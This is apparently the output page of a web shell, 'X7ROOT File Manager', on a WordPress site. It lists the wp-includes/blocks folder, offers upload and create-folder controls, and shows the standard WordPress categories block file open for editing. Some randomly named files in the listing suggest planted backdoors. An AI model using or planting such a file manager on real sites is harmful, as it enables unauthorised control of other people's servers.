X7ROOT File Manager
Current Path:
/home/freights/old.freightsoko.co.ke/wp-includes/blocks
home
/
freights
/
old.freightsoko.co.ke
/
wp-includes
/
blocks
/
??
..
??
5mv9xqsu
(9.03 KB)
??
app_91
??
archives
??
archives.php
(2.7 KB)
??
audio
??
block
??
block.php
(1.47 KB)
??
button
??
buttons
??
bysvfhu6
(9.03 KB)
??
calendar
??
calendar.php
(1.53 KB)
??
categories
??
categories.php
(2.59 KB)
??
code
??
column
??
columns
??
cover
??
embed
??
file
??
file.php
(897 B)
??
freeform
??
gallery
??
group
??
heading
??
html
??
image
??
index.php
(2.54 KB)
??
latest-comments
??
latest-comments.php
(4.88 KB)
??
latest-posts
??
latest-posts.php
(6.96 KB)
??
legacy-widget
??
legacy-widget.php
(3.7 KB)
??
list
??
loginout
??
media-text
??
missing
??
more
??
nextpage
??
page-list
??
page-list.php
(7.09 KB)
??
paragraph
??
post-content
??
post-content.php
(1.84 KB)
??
post-date
??
post-date.php
(1.5 KB)
??
post-excerpt
??
post-excerpt.php
(2.38 KB)
??
post-featured-image
??
post-featured-image.php
(1.31 KB)
??
post-template
??
post-template.php
(2.66 KB)
??
post-terms
??
post-terms.php
(1.63 KB)
??
post-title
??
post-title.php
(1.57 KB)
??
preformatted
??
pullquote
??
query
??
query-pagination
??
query-pagination-next
??
query-pagination-next.php
(2.45 KB)
??
query-pagination-numbers
??
query-pagination-numbers.php
(2.72 KB)
??
query-pagination-previous
??
query-pagination-previous.php
(1.99 KB)
??
query-pagination.php
(359 B)
??
query-title
??
query-title.php
(1.35 KB)
??
query.php
(304 B)
??
quote
??
rss
??
rss.php
(3.17 KB)
??
search
??
search.php
(6.57 KB)
??
separator
??
shortcode
??
shortcode.php
(697 B)
??
site-logo
??
site-logo.php
(4.84 KB)
??
site-tagline
??
site-tagline.php
(994 B)
??
site-title
??
site-title.php
(1.21 KB)
??
social-link
??
social-link.php
(57.92 KB)
??
social-links
??
spacer
??
table
??
tag-cloud
??
tag-cloud.php
(1.24 KB)
??
text-columns
??
verse
??
video
Editing: categories.php
<?php /** * Server-side rendering of the `core/categories` block. * * @package WordPress */ /** * Renders the `core/categories` block on server. * * @param array $attributes The block attributes. * * @return string Returns the categories list/dropdown markup. */ function render_block_core_categories( $attributes ) { static $block_id = 0; $block_id++; $args = array( 'echo' => false, 'hierarchical' => ! empty( $attributes['showHierarchy'] ), 'orderby' => 'name', 'show_count' => ! empty( $attributes['showPostCounts'] ), 'title_li' => '', ); if ( ! empty( $attributes['displayAsDropdown'] ) ) { $id = 'wp-block-categories-' . $block_id; $args['id'] = $id; $args['show_option_none'] = __( 'Select Category' ); $wrapper_markup = '<div %1$s><label class="screen-reader-text" for="' . $id . '">' . __( 'Categories' ) . '</label>%2$s</div>'; $items_markup = wp_dropdown_categories( $args ); $type = 'dropdown'; if ( ! is_admin() ) { // Inject the dropdown script immediately after the select dropdown. $items_markup = preg_replace( '#(?<=</select>)#', build_dropdown_script_block_core_categories( $id ), $items_markup, 1 ); } } else { $wrapper_markup = '<ul %1$s>%2$s</ul>'; $items_markup = wp_list_categories( $args ); $type = 'list'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => "wp-block-categories-{$type}" ) ); return sprintf( $wrapper_markup, $wrapper_attributes, $items_markup ); } /** * Generates the inline script for a categories dropdown field. * * @param string $dropdown_id ID of the dropdown field. * * @return string Returns the dropdown onChange redirection script. */ function build_dropdown_script_block_core_categories( $dropdown_id ) { ob_start(); ?> <script type='text/javascript'> /* <![CDATA[ */ ( function() { var dropdown = document.getElementById( '<?php echo esc_js( $dropdown_id ); ?>' ); function onCatChange() { if ( dropdown.options[ dropdown.selectedIndex ].value > 0 ) { location.href = "<?php echo home_url(); ?>/?cat=" + dropdown.options[ dropdown.selectedIndex ].value; } } dropdown.onchange = onCatChange; })(); /* ]]> */ </script> <?php return ob_get_clean(); } /** * Registers the `core/categories` block on server. */ function register_block_core_categories() { register_block_type_from_metadata( __DIR__ . '/categories', array( 'render_callback' => 'render_block_core_categories', ) ); } add_action( 'init', 'register_block_core_categories' );
Upload File
Create Folder